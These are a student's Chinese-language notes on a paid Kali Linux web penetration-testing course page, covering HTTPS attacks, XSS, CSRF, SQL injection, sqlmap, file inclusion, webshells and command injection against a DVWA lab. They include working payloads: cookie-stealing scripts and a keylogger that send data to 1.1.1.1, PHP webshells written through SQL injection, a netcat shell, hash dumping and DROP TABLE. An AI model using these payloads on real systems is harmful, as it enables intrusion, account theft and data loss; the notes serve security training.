846人加入学习
(36人评价)
Kali Linux安全测试

爆款好课 NO.1

价格 ¥ 599.00
该课程属于 武官课程 请加入后再学习

贵宾狗漏洞

HTTPS攻击

 全站https正成为潮流

HTTPS的作用

 信息安全三要素 CIA

 C 机密性

 I 完整性

 A 可用性

 解决的是信息在传输过程中数据被篡改窃取

 加密:对称 非对称 单向

 攻击方法

  降级攻击 强制降低算法加密强度

  降密攻击(明文、证书伪造)

 协议漏洞来源 

  配置不严格

 实现方法的漏洞 新浪出血漏洞 openssl实现https存在漏洞 

 ssl tsl两个协议来实现https

SSL(Secure socket layer 安全套接层)

 保证网络通信安全的加密协议

 1994年由Netscape开发成文统一标准

 1999年TLS(transport layer security)取代SSL v3

 xp系统对TSL支持有限

 今年来发现的SSL协议漏洞使业界认为其漏洞已经不可软件修复

 Heartbleed 

 POODLE

 BEAST

TLS当前最新版本1.2

TLS/SSL、HTTPS、HTTP over SSL 通俗上表示同一含义 

 SSL/TLS也被用于其他场景

  邮件传输

 数据库服务器间

 LDAP身份认证服务期间

 SSL VPN

 远程桌面RDP通信过程中的加密和身份认证

 web通信中的SSL加密 (PKI架构)

  公钥证书(受信任的第三方证书颁发机构签名颁发)

 常见公司  

  VeriSign

  Thawte

  GlobalSign

  Symantec

加密过程

 握手

 协商加密算法()

 获取公钥证书

 验证公钥证书

 交换会话密钥

 加密信息

 传输

 

非对称加密算法

 Diffie-Hellman key exchange 主要用来密钥交换
 Rivest Shamir Adleman (RSA)
 Elliptic Curve Cryptography (ECC)

对称加密算法

 Data Encryption Standard (DES) / 3DES
 Advance Encryption Standard (AES)
 International Data Encryption Algo  rithm (IDEA)
 Rivest Cipher 4 (RC4)(WEP̵、TLS/SSL̵、RDP̵、Secure shell)

单向加密算法(HASH)

 MD5 128位

 SHA-1 160位

 SHA-2 224、256、384、512位(长度可变)

 SHA-3已经设计完成,但尚未广泛使用

 SHA-2是TLS 1.2唯一支持的单向加密算法

 碰撞攻击针对单向加密算法

  两个不同的文件生成相同的HASH值

SSL的弱点

 SSL是不同的对称、非对称、单向加密算法的组合加密实现(cipher suite)

 RAS/Diffie-Hellman 密钥交换、身份认证

 AES 加密数据,由RAS/DH完成密钥交换

 HMAC-SHA2 摘要信息

服务器端为了提供更好的兼容性,选择支持大量过时的cipher suite

协商过程中的强迫降级加密强度

现代处理器的计算能力可以再可接受的时间内破解过时加密算法

购买云计算资源破解

 

Openssl命令

参数很多,但是命令复杂,结果可读性查需要密码学知识。

直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite

openssl s_client connect www.baidu.com:443

openssl s_client -tls1_2 -cipher 'ECDH-RSA-RC4-SHA' -connect www.taobao.com:443

(密钥交换 身份认证 数据加密 HASH算法)

openssl s_client -tls1_2 -cipher “NULL,EXPORT,LOW,DES” -connect
www.taobao.com:443 (协商安全级别低的cipher suite)

可以被破解的cipher suite openssl ciphers -v "NULL,EXPORT,LOW,DES"

SSLScan工具

 自动识别SSL配置错误、过期协议、过时的cipher suite和hash算法

 默认检查CRIME、heartbleed漏洞

 绿色表示安全 红色黄色需要引起注意

TLS支持的cipher suite

 sslscan --tlsall www.taobao.com:443

分析证书的详细内容

 sslscan --show-certificate --no-ciphersuites www.taobao.com:443

SSLyze工具

 python语言编写

 检查SSL过时版本

 检测存在弱点的cipher suite

 扫描多站点,支持来自文件

 扫描是否支持会话恢复

 sslyze --regular www.taobao.com:443

nmap也可以

 nmap --script=ssl-enum-ciphers.nse www.taobao.com

在线SSL检查的工具

https://www.ssllabs.com/ssltest

 

HSTS 严格的

[展开全文]
hl0rey · 2017-02-13 · HTTPS 0

WEBSHELL

 <?php echo shell_exec($_GET['cmd']); ?>

中国菜刀

 www.maicaidao.co

kali webshell

 WeBaCoo(Web Backdoor Cookie)

 类终端的shell

 编码通信内容通过cookie头传输,隐蔽性强

 cm:base64编码命令

 cn:服务器用于返回数据的cookie头名

 cp:返回信息的定界符

 生成服务端

 webacoo -g -o a.php

 客户端连接

 webacoo -t -u "http://1.1.1.1/a.php"

 连接成功,获得一个命令行shell

 

 -f 使用php操作系统函数

 -r 返回不经过混淆的代码

 -e 单条命令执行

 -m 指定http参数提交方法

 -c 指定cookie名

 -d 定界符,默认是随机的

 -a 指定user-ahent

 -p 支持代理

 -v 信息详细的等级

 -l 记录日志

 update 升级版本

 

Weevely 

 针对php

 隐蔽的类终端PHP Webshell

 30多个管理模块

 执行系统命令,浏览文件系统

 检测常见配置错误

 创建正向反向shell

 通过目标计算机代理http流量

 从目标计算机运行端口扫描,渗透内网

支持连接密码

 可能缺少 pySocks 库

命令简单

help查看有哪些模块

[展开全文]
hl0rey · 2017-02-13 · WEBSHELL 0

CSRF 跨站请求伪造

 与XSS经常混淆

 从信任的角度来区分

 XSS 利用用户对站点的信任

 CSRF 利用站点对已经身份认证的信任

 结合社工在身份认证会话过程中实现攻击

  修改账号密码、个人信息

  发送伪造的业务请求

  关注他人社交账号、推送博文

  在用户非自愿、不知情的情况下提交请求

 业务逻辑漏洞(很多种)

  对关键操作缺少确认机制

  自动扫描无法发现

 漏洞利用条件

  被害用户已经完成身份认证

  新请求的提交不需要重新身份认证或确认机制

  攻击者必须了解web app请求或确认机制

  诱使用户点击触发攻击的指令

 测试

 将表单复制到本地

 burp suite CSRF Poc generator

 自动生成利用页面

自动扫描程序的检测方法

 在请求和响应过程中检测是否存在anti-CSRF token名

 检测服务器是否验证token的值

 检测token中可编辑的字符串

 检测referrer头是否可以伪造

对策

 Captcha 验证码机制 滑块 数学题

 anti-CSRF token

 Referrer头

 降低会话超时时间

 

[展开全文]
hl0rey · 2017-02-13 · CSRF 0

存储型XSS

 长期存储于服务器

 每次用户访问多会被执行

利用

 截断代理、客户端(直接在本地html修改限制)

DOM型XSS(也属于反射型)

 利用DOM对象

 利用方法

 <script>var img=document.createElement("img");img.src="http://192.168.20.8:88/log?"+escape(document.cookie);</script>

BEEF

 浏览器漏洞利用框架

 浏览器攻击面

 应用普遍转移到B/S架构,浏览器称为统一的客户端程序

 结合社工方法对浏览器进行攻击

 攻击浏览器用户

 通过注入js脚本,利用浏览器攻击其他网站

 (Browser exploitation framework)

 生成 交付 payload

 Ruby语言编写

 服务器端:管理hooked客户端 

 客户端:运行于客户端浏览器上的js脚本(hook)

 攻击手段(典型的)

 利用XSS

 诱使客户端访问hook的伪造站点

 结合中间人攻击注入hook脚本

 常见用途

 键盘记录器

 网络扫描

 浏览器信息收集

 绑定shell

 与metasploit集成

 Commands 命令模块

 绿色 表示模块适合目标浏览器,并且执行结果客户端看不见

 红色 模块不适用于目标浏览器,但是有的可以执行

 橙色 模块可用,但结果对用户可见(CAM弹窗申请权限等)

 灰色 模块未在目标浏览器上测试过

 

[展开全文]

XSS

 键盘记录

 Keylogger.js

 源码

 document.onkeypress=function(evt){

 evt=evt||window.event

 key=String.fromCharCode(evt.charCode)

 if(key){

 var http = new XMLHttpRequest();

 var param = encodeURI(key)

 http.open("POST","http://1.1.1.1/keylogger.php",true)

 http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

 http.send("key="+param);

}

}

 接受信息的页面

 <?php $key=$_POST['key'];$logfile="keylog.txt";$fp = fopen($logfile, "a");fwrite($fp, $key);fclose($fp);  ?>

 利用

 <script+src="http://1.1.1.1/keylogger.js"></script>

 html中利用

 <a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script
+src='http://192.168.20.8/keylogger.js'></script>">xss</a>

 

type

 

Xsser工具

 命令行/图形化 工具

 --gtk 用图形化启动

 绕过服务器端输入筛选

 10进制/16进制 编码

 -u "http://1.1.1.1/dvwa/" 指定url

 -g "xss_r/?name-"使用get方式

 --cookie="" 带入cookie

 -s 统计测试多少次

 -v 显示详细内容

 --reverse-check 默认提交哈希值,该参数开启时,提交真正的xss利用代码,反向连接代码

 --heuristic 启发式测试,检测被过滤的字符

 对payload编码,绕过服务器端筛选过滤

 --Str Use method String.FromCharCode()

 --Une Use Unescape() function

 --Mix Mix String.FromCharCode() and Unescape()

 --Dec Use Decimal encoding

 --Hex Use Hexadecimal encoding

 --Hes Use Hexadecimal encoding, with semicolons

 --Dwo Encode vectors IP addresses in DWORD

 --Doo Encode vectors IP addresses in Octal

 --Cem=CEM Try -manually- different Character Encoding Mutations 

 (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')

 注入技术

 --Coo Cross Site Scripting Cookie injection

 --Xsa Cross Site Agent Scripting

 --Xsr Cross Site Referer Scripting  --Dcp Data Control Protocol injections 

 --Dom Document Object Model injections 

 --Ind HTTP Response Splitting Induced code 

 --Anchor Use Anchor Stealth payloader (DOM shadows!)  

 --Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters 
 --B64 Base64 code encoding in META tag (rfc2397)
 --Onm ONM - Use onMouseMove() event to inject code
 --Ifr Use <iframe> source tag to inject code

 拒绝服务攻击

 --Doss XSS Denial of service (server) injection
 --Dos XSS Denial of service (client) injection

例子

xsser -u"http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=high; PHPSESSID=d23e469411707ff8210717e67c521a81" -- Cem='Mix,Une,Str,Hex'

[展开全文]

XSS

 服务器端的漏洞

 攻击web客户端

 客户端脚本语言

   弹窗警告,广告

   JavaScript

   在浏览器中执行

 XSS危害(cross-site scripting)

 通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的

 注入客户端脚本代码

 盗取cookie

 重定向

 其他客户端脚本 VBScript Active or Flash

使用场景

 直接嵌入HTML 

 <script>alert('xss')</script>

 元素标签事件

 <body onload=alert('xss')> 

 图片标签

 <img src="javascript:alert('xss')">

 其他标签

 <ifrane><div><link>

 DOM对象,篡改页面内容

攻击参与方

 攻击者

 被攻击者

 漏洞站点

 第三方站点

漏洞形成的根源

 服务器对用户提交数据过滤不严

 提交给服务器的脚本被直接返回给其他客户端执行

 脚本在客户端执行恶意操作

XSS漏洞类型

 存储型 服务器接受保存了恶意代码

 反射型 服务器端把代码原封不动返回给执行者

 DOM型 本质上是反射型,利用浏览器DOM特性,直接窃取修改本地数据,不用向服务器发请求

漏洞PoC

 <script>alert(‘xss’)</script>

 <a href='' onclick=alert('xss')>type</a>

 <img src=http://1.1.1.1/a.ipg onerror=alert('xss')>

 <img src=http://1.1.1.1/a.ipg onerror=alert('xss')>

 危害验证

 重定向

 <script>window.location=‘http://1.1.1.1'</script>

  重定向到攻击平台来收集信息 或者 盗取信息 cc攻击

 插入框架

 框架里可以再加入东西

 <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>

 盗取cookie

 <script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>

 篡改页面

 <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
WEBSITE IS UNDER ATTACK</h1></div>";</script>

 远程加载窃取cookie

 <script src=http://1.1.1.1/a.js</script> 

 a.js源码

 var img = new Image();

 img.src ="http://1.1.1.1/cookies.php?cookie="+document.cookie;

 

[展开全文]

SQLMAP INJECTION

 -p 

 指定扫描的参数,使--level失效 

 -p "user-agent,referer"

 --skip

 排除指定的扫描参数

 --level=5 ---skip="id,user-agent"

 URI注入点

 sqlmap- u "http://targeturl/param!value*/param2/value2/"

 --dbms="数据库类型<版本号>"

 指定数据库,提高扫描发现的效率

 --os="" 

 Linux Windows

 --invalid-bignum/--invalid-logical

 通常sqlmap使用负值使参数取值失效

 bignum使用大数使参数值失效

 logical使用布尔判断使参数失效

 --no-cast

 默认情况下,榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果

 老版本mysql需要开启

 --no-escape

 默认情况下,出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串,本参数会关闭此功能

 --prefix/--suffix

 前缀 后缀 需要完整闭合的时候 后边无法注释的时候

 --tamper

 混淆脚本,用于绕过应用层过滤、IPS、WAF

 可以用多个脚本

 --tamper="脚本名1,脚本名2,脚本名3"

DETECTION 检测

 --level

 1-5级(默认1)

 /usr/share/sqlmap/xml/payloads

 --risk

 1-4(默认1/无害)

 Risk升高可造成数据被篡改等风险(update)

 --string 看到指定字符串,这是真

 --not-string 看不到指定字符串,是真

 --regexp 正则过滤

 --code 返回状态码判断

 --text-only 根据内容判断

 --titles 根据标题判断

 布尔注入检测,依据返回页面内容判断逻辑真假,但是有线页面随时间阀值变化,需要认为指定字符串判断真假

TECHNIQUE 技术

 默认使用全部

 B:Boolean-based blind

 E:Error-based

 U:Union query-based

 S:Stacked queries(文件系统、操作系统、注册表必须)

 T:Time-based blind

 --time-sec 基于时间的注入检测相应延迟时间(默认5秒)

 --union-clos

 默认联合查询1-10列,随--level增加最多支持50列

 --union-char

 联合查询默认使用null,极端情况下null可能失败,此时可以手动执行数值 

--union-char 123

 --dns-domain

 攻击者控制了某dns服务器,使用该功能可以提高数据榨取的效率

 --dns-domain attacker.com

 --second-order

 在一个界面注入的结果,从另外一个界面体现出来

 --second-order http://www.1.1.1.1/b.php

FINGERPRINT

 -f/--fingerprint

 -b/--banner

 数据库管理系统指纹信息

 DBMS 操作系统 架构 补丁

 

 

 

[展开全文]

SQLMAP注入REQUEST 02

 --delay=""

  每次http(S)请求之前延迟时间,浮点数,单位为秒,默认无延迟

 --timeout=""

 请求超时时间,浮点数,默认为30秒

 --retries=""

 http(s)连接超时重试次数,默认3次

 --randomize=""

 长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名

 --scope(范围)

 过滤日志内容,通过正则表达式筛选扫描对象

 --scope="(www)\.targe\.(com|net|org)"

 --safe-url/--safe-freq 结合使用

 检测和盲注会产生大量失败请求,服务器销毁当前session

 每发送--safe-freq次注入请求后发送一次正常请求

 --skip-urlencode(开关)

 默认Get方法会对传输内容进行编码,有些WEB服务器不遵守RFC标准编码,使用原始字符提交数据

 --eval

 每次请求前执行指定的python代码

 每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)

 --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

 Optimization 优化

 -o 启动前三个性能优化

 --predict-output 根据不同的检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效果,可以检测版本号、用户名、密码、Privilege、role、数据库名称、表名、列名(与--threads不兼容)

统计表 /usr/share/sqlmap/txt/common-outputs.txt

 --keep-live

 性能好 与--proxy参数不兼容

 长接连节省网络开销,但大量长连接消耗服务器资源

 --null-connection

 只获取响应的页面的大小值,而非页面的具体内容 通常用于盲注判断真假,降低网络带宽消耗 与--text-only(基于页面内容的比较判断真假)不兼容

 --theads

 最大并发线程

 盲注时没个线程获取一个字符(七次请求),获取完成后线程结束

 默认值为1.建议不要超过10,否则影响站点可用性

 与--perdict-output参数不兼容

 

 

 

[展开全文]

SQLMAP自动注入--REQUEST

 数据段:--data

  get/post 都适用

  sqlmap -u "url" --data="user=1&pass=2"

 变量分隔符

  --param-del="符号"

 cookie头

 --cookie="cookie值"

 web应用需要cookie身份认证

 检测cookie中的注入点(level>=2时,sqlmap自动检测)

 返回Set-Cookie时sqlmap自动更新cookie 

 --drop-set-cookie 指定不使用新的cookie

 User-Aent头(level>=3时,检测user-agent的sql注入漏洞)

  --user-agent= 设置user-agent

  默认user-agent sqlmap/1.0-dev-xxxxx(http://sqlmap.org)

 --random-agent

 加了参数之后随机去  /usr/share/sqlmap/agent.txt

 APP/WAF/IPS/IDS 过滤异常user-agent时报错

 [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent

 Host头(level=5时,才检测host头的sql注入漏洞)

 --host=""

 Referer头(level>=3)

 --referer=""

 额外的header 

 --headers="Host:www.abv.com\nUser-Agent:aaaaaaaa" 

 每个头独占一行,在每个头后加换行符

 名称区分大小写

 指定请求方法

 --method=POST/GET 或者别的

 基于HTTP协议的身份认证

  Basic Digest NTLM 

 --auth-type 指定类型

 --auth-cred "user:pass"

 基于客户端证书认证(矛盾之处,有待验证)

 --auth-cert

 --auth-file="ca.PEM"

 http(s)代理

  --proxy="http://127.0.0.1:8087"(也可以是公网的代理)

  --proxy-cred="name:pass"

 --ignore-proxy 忽略系统代理,通常用于扫描本地网络目标

[展开全文]

SQLMAP自动注入

nosqlmap查非关系数据库漏洞

支持很多数据库管理系统DBMS

五种漏洞检测技术

 基于布尔的盲注检测

 基于时间的盲注检测

  'and (select * from (select(sleep(20)))a)--+

 基于错误的检测

 基于UNION联合查询的检测

   适用于通过for、while循环直接输出联合查询结果,否则只显示第一项结果

 基于堆叠查询的检测

  ;堆叠多个查询语句

 适用于非select的数据修改、删除的操作

其他特性

 数据库直接连接 -d

  不通过SQL注入,指定身份认证信息、ip、端口

 与其他工具结合使用

 检测头信息

 限速并发延迟

 支持Basic Digest NTLM CA身份验证

 数据库版本 用户 权限 hash枚举 字典破解 暴力破解表列名

 文件上传下载 UDF(用户自建函数) 启动执行存储过程 操作系统命令执行 访问windows注册表(无文件病毒)

 与w3af、metasploit结合使用,基于数据库服务进程提权和上传执行后门

 升级

 

日志在 .sqlmap

-hh 完整参数列表

Target 

 -d 直接连接数据库,不通过SQL注入

 -d "mysql://user:password@1.1.1.1:3306/dvwa" -f --user

 -u 指定一个URL

 -l 跟logfile,把其他的软件日志文件当成一个

 -x 站点地图(.xml)

 -m url文件

 -r http请求保存的文件

 -g 谷歌扫描注入

 -c load配置进来

 -p 指定测试的变量

 -f 检测数据库指纹

 --users 查当前数据库账号

 --banner 查看目标banner信息

 --dbs 查看目标数据库管理系统的库

 --schema 查元数据库

 -a 综合查询的信息

 POST方法

  使用HTTP请求文件(burpseite)

  -r request.txt

 使用burpsuite log 文件

 -l log.txt

 HTTPS

  --force-ssl

[展开全文]

SQL盲注

 不显示数据库内建的报错信息

    内建的报错信息帮助开发人员发现和修复   问题

   报错信息提供关于系统的大量有用的信息

当程序员隐藏了内建的错误信息,或代之以通用的错误的信息,sql注入将无法依旧报错信息判断注入语句执行结果,即盲

盲注必须要让语句正确执行,不能报错

思路: 既然无法基于报错信息判断,基于逻辑和返回页面的状态

  1' and 1=1--  返回结果正常

  1' and 1=2--  返回不正常

  “#”也是注释

 剩下的一样了

 

开脑洞了

1' and ORD(MID(VERSION()),1,1)&1>0--+

8421码 表示是第几位

利用ASCII码猜解内容

[展开全文]

SQL注入

无法读取information schema库

拒绝union、order by语句

 猜列名:'and column is null--+

 猜当前表名:'and table.user is null--+

 猜库名: 'and .dbname.table.user is null--+

 猜库里其他表: 'and (select count(*) from table)>0--+

 列表对应关系:'and users.user is null--+

 猜字段内容

 'or user -'admin

 'or user like '%a%

 猜账号对应密码

 'or user-'admin' and password='MD5值'

 

 当前库可写(直接去修改密码,用一段新的MD5去替换旧的密文)

 非交互模式下,可能无法多条语句执行

 执行失败,数据库客户端问题

 '; update users set user='yuanfh' where user='admin

 '; INSERT INTO users (' user_id',' first_name',' last_name',' user','password','avatar') VALUES (‘35',‘fh',‘yuan',‘yfh','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+

 危险

 '; DROP TABLE users; --

SQLi没有通用方法,原理,变通,各种特性

 

mysql_real_escape_string()

stripslashes() 删掉右斜线

php内置过滤函数 转义

php5弃用 php7删除代之以mysqli()、

 

 

[展开全文]

有加号不要空格

find / -name a.php

密码破解使用john

 username:passhash>dvwa.txt

 john --format=raw-MD5 dvwa.txt

 --show 显示破解完的密码 

运行过之后会产生.jhon文件夹

SQL注入其他利用

 读取文件 

 'union SELECT null,load_file('/etc/passwd')--+

 写入文件

 'union select null,"<?php passthru($_GET['cmd']);?>" INTO DEMPFILE "/var/www/a.php"--

 没权限,mysql账号没有权限往www里写入文件

 'union select null,"<?php passthru($_GET['cmd']);?>" INTO DEMPFILE "a.php"--

 到默认目录下,联合文件包含漏洞(把文件load进页面执行),来执行脚本

 最通用的目录 /tmp/ 谁都可以写读

 'union select null,"<?php  passthru($_GET['cmd']);?>" INTO  DEMPFILE "/tmp/a.php"-- 

尝试写入更复杂的木马

 

十六进制编码绕过

xxd 二进制查看,以十六进制显示

tr -d '\n' 删掉换行符

0x 表示十六进制

cat b.php | xxd -ps | tr -d '\n'

 (括起来十六进制)

 

脱裤

INTO OUTFILE '/tmp/a.db'

' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ tmp/a.db'--

一个思路:编写服务端代码 实现一些别的功能

实现从表单插入用户

' union select null,'"; echo "first_name: $first_name
"; echo "last_name: $last_name
"; echo "username: $username
"; echo "avatar: $avatar
";$con=mysqli_connect("127.0.0.1","root","","dvwa");if(mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to database"; } $password = "123"; $sql="insert into dvwa.users values(\\"$userID\\",\\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\ \")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error creating database:".mysqli_error($con);}mysqli_close($con); } ?>"> ' INTO DUMPFILE '/tmp/user.php' -- 

 

 

[展开全文]

软件包跟踪

 http://pkg.kali.org

SQL注入

 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回客户端浏览器

 用户登陆判断

  SELECT * FROM users WHERE user='uname' AND password='pass'

 漏洞原理

 闭合符号

  SELECT * FORM users WHERE user='uname' AND password='' OR ''=''

 

 漏洞检测

 基于报错显示(low)

   ' " % ()

 基于布尔的检测方式

 

 SELECT a,b FROM users WHERE id=''

  加入 1' and '1'='1   1' and '1'='2

     1' and '1'   1' and '0'

     or 也可以

 

判断有几个查询的字段,具体输出的位置

 'order by 9-- 最后有空格注释才生效

联合查询 union

 'union select 1,2-- 

 确定第一个字段和第二个字段出现在页面的哪一个位置

 'union all select用法差不错

 把字段位置替换为mysql数据库的默认函数

 user() 查询数据库当前的用户

 version() 查询数据库的版本

 database() 查询数据库的名称

 char() ASCII转字符

 md5() md5计算

 CONCATWS(CHAR(32,58,32),user(),database(),version()) 多个函数联合用 ASCII码 32 58 32 分隔

 substringindex(USER(),"@",1) 分割显示结果

 全局函数

 @@datadir 当前数据库所在位置

 @@hostname 查看主机名

 @@version_compile_os 查看系统信息

 

 hackbar F9显示

Mysql数据结构 

 元数据描述数据的数据

 元数据存在 information_schema 数据库中

 

常用语句mysql数据库

所有库所有表

' union select table_name,table_schema from information_schema.tables--+

统计每个库中表的数量

' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- 

Dvwa库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+

User表中的所有列

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+

查询User,password列的内容

' union select user,password from dvwa.users--+ 

这两个一样,因为网站本身给你带有从哪个表里查询

' union select user,password from users--+

爆出内容 以 : 分隔

' union select null, concat(user,0x3a,password) from users--+

[展开全文]

kali 本地集成了攻击向量字典

 /usr/share/wfuzz/wordo;ist/vulns/

 常用漏洞测试语句字典

 

文件上传漏洞

 <?php echo shell_exec($_GET['cmd']); ?>

直接上传webshell

用截断代理

修改文件类型上传webshell

 Minmetype-文件头、扩展名

修改扩展名上传webshell

修改请求

mimetype 查看文件mime类型 从文件前十个字节定义的文件类型来判断

根据扩展名判断时

1.php.jpg 绕过

根据文件头判断时

把代码粘贴到.php.jpeg文件内部替换原本数据内容 但是要保留头部

静态解析文件扩展名时可能无法执行

文件系统上传权限限制

[展开全文]

Metasploit Framework

发现漏洞

找漏洞利用代码

权限维持

后渗透测试

生成报告

 

Metasploit有四个版本

 

 

[展开全文]

目录遍历漏洞

 与目录浏览漏洞不同

 目录权限设置不严 操作系统下内部的文件

文件包含漏洞

 脚本语言文件包含函数,可以把别的文件包含 可能包含本地文件(LFI) 可能远程文件包含(RFI)包含到web application里

 远程文件包含漏洞

 /etc/php5/cgi/php.ini 

 allow_url_include=on

 /etc/init.d/apache2 

特征 

 一个变量的值是一个页面

 ?page=a.php ?home=b.html ?file=content

查看文件

经典测试方法(替换变量)

 . 当前目录 

 .. 当前目录的父目录

 本地文件包含 

 目录遍历

?page=../../../../../../../../../../etc/passwd

  

文件包含?page-/etc/passwd

 ?page=file:///etc/passwd

 ?page=main.cgi

 远程文件包含

 ?page=http://1.1.1.1/1.php

编码绕过字符过滤

 "." 

 "%00" 空字符url编码,php遇到%00之后后面不看

 "#"  

 使用多种编码尝试

 

不同操作系统的路径特征字符

类unix系统

 根目录 /

 目录层级分隔 /

windows(不一定)

 盘符根c:\

 目录分级\或者/

 

编码 base64 ascii unicode(字符编码很多实现方法 utf-8等)编码应用很广

 url编码、双层url编码

 可以多层编码但是要能解得出来

其他系统路径可能用到的

 file.txt...

 file.txt<多个空格>

 file.txt<<<>>>><

 ./././file.txt

 none/../file.txt 进图一个不存在的目录,再退出,再查看(目录可以不存在)

UNC路径

 \\1.1.1.1\path\to\file.txt

特殊情况

 在url地址看不出来

 根据cookie信息,读取文件

 启示 变量都要尝试

 本地文件包含

 代码执行

 经典利用:

 前提条件是www,data账号要对日志文件有访问权限

 var/log/apache2/access.log

 利用访问日志执行代码

 <?php echo shell_exec($_GET['cmd']) 

?>

 

 远程文件包含

 =http://1.1.1.1/a.php

重复敏感词,绕过单次过滤(经典)

 hthttp://tp://

 

[展开全文]

身份认证漏洞

 弱口令 字典破解

 锁定账号 手动测试是否有锁定机制

 信息收集

   手机号  密码错误提示信息

 密码嗅探

 

 会话sessionID

  有可能相同,只是退出时被标记成不活状态 有可能不同  

  sessionID in url 

  sessionID 生成算法

 是否符合Sequencer

 私有算法

 预判SessionID

 登录后返回测试

 密码找回

 key随机性不够,很容易预判

漏洞挖掘原则

 所有变量 

 所有头(也有可能传递变量)

  cookie中的变量

 逐个变量删除 查看服务器判断哪个变量

 漏洞的本质

 数据和指令混淆

 对用户输入的信息过滤不严,判断失误

命令执行漏洞

 是不是调用操作系统的层面的功能

 多个命令的时候用;隔开

 && 前边的成功 执行后边的 

 & 都执行

 || 前边的命令执行失败 就执行后边的

 | 执行一个

 也可以使用

 shell_exec() php调用系统执行命令

 explode(,) 按照标准 分隔字符串

 stripslashes() 消毒函数 

 用户输入的信息绝不能相信

 ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

 curl命令 向web服务器发送http请求

 

[展开全文]

linux 4.4内核发布,在虚拟机中可使用主机上的GPU

 

手动漏洞挖掘

默认安装漏洞

 windows默认安装漏洞

  开放很多服务和端口 权限设置不严 

 phpMyAdmin/setup

  不需要账号密码就能访问

  早期版本phpMyAdmin有漏洞可以远程执行代码

  passthru() php函数,操作系统执行命令

 die() 接下来的代码不执行

 phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

post 提交

 <?

 passthru("执行的命令");

 die();

 ?>

 写入webshell

 echo "<?php \$cmd=\$_GET["cmd"];system(\$cmd); ?>"

 不加 \ 会被过滤

 PHP反弹shell kali有现成的

 /usr/share/webshells/php/php-reverse-shell.php

Ubuntu/Debian 默认安装PHP-cgi

 直接访问/cgi-bin/php5 和 /cgi-bin/php(爬网爬不出)

 调用php执行程序直接执行编码后的php代码

侦听端口 

mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe 

 

 

[展开全文]

APPSCAN

扫描过程

 探索阶段 测试阶段

手动爬网在appscan内部调用ie浏览网页

第一个过程发现的新的url,下个扫描过程自动开始

向导方式

 

Glass box 

 相当于 Acusensor

 支持java 和 .NET 

[展开全文]
hl0rey · 2017-02-08 · APPSCAN 0

授课教师

安全经理

课程特色

视频(177)
下载资料(18)